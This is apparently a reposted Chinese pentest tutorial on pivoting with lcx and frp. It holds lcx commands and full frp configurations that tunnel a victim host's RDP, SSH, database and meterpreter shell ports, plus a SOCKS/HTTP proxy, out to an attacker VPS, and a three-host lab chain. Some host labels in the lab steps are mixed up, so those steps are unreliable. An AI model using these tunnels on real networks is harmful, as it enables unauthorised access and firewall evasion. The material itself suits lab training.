frp+lcx代理使用

一.lcx使用介绍

lcx是一款端口转发工具,可以使windows/linux 的某个端口转发到其他主机,或者转发到本机的其他端口,如:将A 主机的3389 转发到B主机的1234端口,或者将A 主机的3389端口映射到A 主机的1234端口
参数如下:
frp+lcx代理使用_第1张图片

1、转发端口到其他主机
lcx.exe -slave vps的ip 1234 0.0.0.0 3389
2.在vps上监听端口1234,并把端口1234的流量转发到1235,随后连接vps的1235端口就能连接肉鸡的3389端口
lcx.exe -listen 1234 1235
3.将本机端口映射到本机的其他端口
lcx -tran 51 127.0.0.1 3389

二.frps使用介绍

端口转发工具,有客户端和服务端,通常服务器部署在公网的VPS上,客户端部署在能够出网的内网机,将内网机的端口映射在vps上,通过连接vps 连接内网机
参数如下:
1.服务端f配置frps.ini

# 通用配置段 
[common]
# 指明 frp 服务端监听的端口[ 实战中可以用一些通透性较好的端口,6000 这种高端口,实战中,可能会出不来 ] 和 ip [ 0.0.0.0 表示监听 vps 本地任意 ip ]
bind_addr = 0.0.0.0
bind_port = 6000
# 指明 frp 服务端控制面板登录端口和账号密码[实战中务必要设置的复杂一点],通过控制面板,我们可以实时了解到数据收发情况
dashboard_port = 6508
dashboard_user = striker
dashboard_pwd = admin!@#45
# 指明 frp 默认日志输出位置,所有的日志信息都放到当前目录下的 views.log 文件中
log_file = ./views.log
# 日志级别分类: debug, info, warn, error,通常情况下,info 即可
log_level = info
log_max_days = 20
# 是否开启特权模式[特权模式下,客户端更改配置无需更新服务端]
privilege_mode = true
# 授权 token 建议随机生成
privilege_token = FE9kTsW8Lg71oDKi
# 特权模式下允许分配的端口[避免端口被滥用]
privilege_allow_ports = 4000-50000
# 心跳检测超时时长
heartbeat_timeout = 30
# 后端连接池的最大连接数量
max_pool_count = 100
# 口令超时时间
authentication_timeout = 900
# 指明子域名,后续将会全部用域名的形式进行访问 [特权模式需下将 *.domain.com 解析到外网 vps 机器,即泛解析]
subdomain_host = study.com
# 如果需代理内网 web[包括基于 http 和 https 的站],则要开启此项
vhost_http_port = 8090
vhost_https_port = 9443

2.客户端配置frpc.ini

# 通用配置
[common]
# 指明 frp 服务端的 ip[或者域名,实战中一般都会直接用域名]地址及端口
server_addr = shop.study.com
server_port = 6000
# 指明日志文件输出位置
log_file = ./views.log
log_level = info
log_max_days = 3
# 授权 token,此处必须与服务端保持一致才行,否则无法建立连接
auth_token = FE9kTsW8Lg71oDKi
# 特权模式 token,同样要与服务端完全保持一致
privilege_token = FE9kTsW8Lg71oDKi
# 心跳检测时长
heartbeat_interval = 10
heartbeat_timeout = 30
# 将内网指定机器的 ssh 端口映射到我们自己的公网 vps 机器上,理论上此处可以配置任你你想映射的任何常规 tcp 端口服务,远非仅限于提到的这些
[ssh]
type = tcp
local_ip = 0.0.0.0
local_port = 22
# 这个 remote_port 的意思是当你访问 frp 服务端的 1222 端口就相当于在访问本机的 
22 端口,也就所谓的"映射",想必现在应该能理解前面说的意思了
remote_port = 1222
# 是否开启加密[流量加密,应对防火墙]
use_encryption = true
#压缩
use_compression = true
# 是否开启压缩
use_gzip = true
# 将内网当前机器的 rdp 端口映射到我们自己的公网 vps 机器上
[Rdp]
type = tcp
local_ip = 0.0.0.0
local_port = 3389
remote_port = 6389
# 将内网当前机器的 Mysql 端口映射到我们自己的公网 vps 机器上
[Mysql]
type = tcp
local_ip = 0.0.0.0
local_port = 3306
remote_port = 1306
# 将内网当前机器的 Mssql 端口映射到我们自己的公网 vps 机器上
[Mssql]
type = tcp
local_ip = 0.0.0.0
local_port = 1433
remote_port = 1533
# 将内网当前机器的 ftp 端口映射到我们自己的公网 vps 机器上
[Ftp]
type = tcp
local_ip = 0.0.0.0
local_port = 21
remote_port = 2121
# 将内网当前机器的 bind 型 meterpreter shell 端口映射到我们自己的公网 vps 机器上
[Meterpreter]
type = tcp
local_ip = 0.0.0.0
local_port = 443
remote_port = 4443
# 将内网当前机器的 udp 端口映射到我们自己的公网 vps 机器上
[Snmp]
type = udp
local_ip = 0.0.0.0
local_port = 161
remote_port = 1611
# 将内网当前机器指定的 web 端口映射到我们自己的公网 vps 机器上,特别注意此处的 
subdomain[子域]随便给一个就行,因为前面是泛解析的
[Phpinfo]
type = http
local_port = 80
subdomain = test
# 是否启用特权模式[特权模式下服务端无需配置]
privilege_mode = true
# 连接数量
pool_count = 120

三. 把目标的3389端口映射到vps上

在vps上启用frp的服务端:
frp+lcx代理使用_第2张图片
在受害机上启用frp客户端,frpc.ini配置如下:
frp+lcx代理使用_第3张图片
frpc.exe -c frpc.ini
frp+lcx代理使用_第4张图片
连接vps的1234端口就能连接受害机的RDP服务

四.利用frp搭建socks/http代理

在frp客户端中配置socks/http代理
代理参数配置如下:

[plugin_socks5]
type = tcp
remote_port = 6005
plugin = socks5
plugin_user = abc
plugin_passwd = abc
[plugin_http_proxy]
type = tcp
remote_port = 6004
plugin = http_proxy
plugin_http_user = abc
plugin_http_passwd = abc

frp+lcx代理使用_第5张图片
启用frp客户端后,使用Proxifier工具进行socks代理
frp+lcx代理使用_第6张图片
配置任意程序都走socks代理,此时本机的流量都会通过靶机出去
frp+lcx代理使用_第7张图片
在浏览器上添加http代理
frp+lcx代理使用_第8张图片
本机直接访问靶机的http服务访问不了(设置了防火墙策略阻断80端口入栈)
frp+lcx代理使用_第9张图片
使用代理后流量通过靶机走出
frp+lcx代理使用_第10张图片

五.利用FRP+LCX多层网络出网

靶场环境
A靶机: windows 2003 ip:192.168.4.49 (不通外网)
B靶机:ubuntu ip: IP:192.168.4.50 AND 192.168.197.131 (不通外网)
C靶机: windows 2008 IP: 192.168.197.130 AND 192.168.1.6 (192.168.1.6通外网)
目标把A靶机的RDP服务和B靶机的SSH服务映射到vps上
1.将A靶机的RPD服务通过LCX转发到B靶机上
lcx.exe -slave 192.168.4.50 3388 127.0.0.1 3389
frp+lcx代理使用_第11张图片
B靶机使用lcx监听3388端口,并把流量转发到3387端口
./portmap -m 2 -p1 3388 -p2 3387
frp+lcx代理使用_第12张图片
2.使用frp将B靶机的SSH服务和3387端口映射到C靶机上:
C靶机启动frp服务端:
frp+lcx代理使用_第13张图片
B靶机启用frp客户端:
frpc.ini配置如下:
frp+lcx代理使用_第14张图片
frp+lcx代理使用_第15张图片
此时使用远程桌面连接C靶机的3386端口就是A靶机的RDP服务,使用SSH连接C靶机的22端口就是B靶机的SSH服务
3、使用frp将A靶机的3386端口和22端口映射到VPS上
在VPS上启用frp的服务端
A靶机的frp客户端frpc.ini配置如下:
frp+lcx代理使用_第16张图片
在A靶机上运行FRP客户端
frp+lcx代理使用_第17张图片
此时使用远程桌面连接vps的3389端口就是A靶机的RDP服务
frp+lcx代理使用_第18张图片
使用ssh连接vps的1234端口就是B靶机的ssh服务:
frp+lcx代理使用_第19张图片
附:
frps完整配置文件
frpc完成配置文件

你可能感兴趣的:(安全,web安全,网络安全)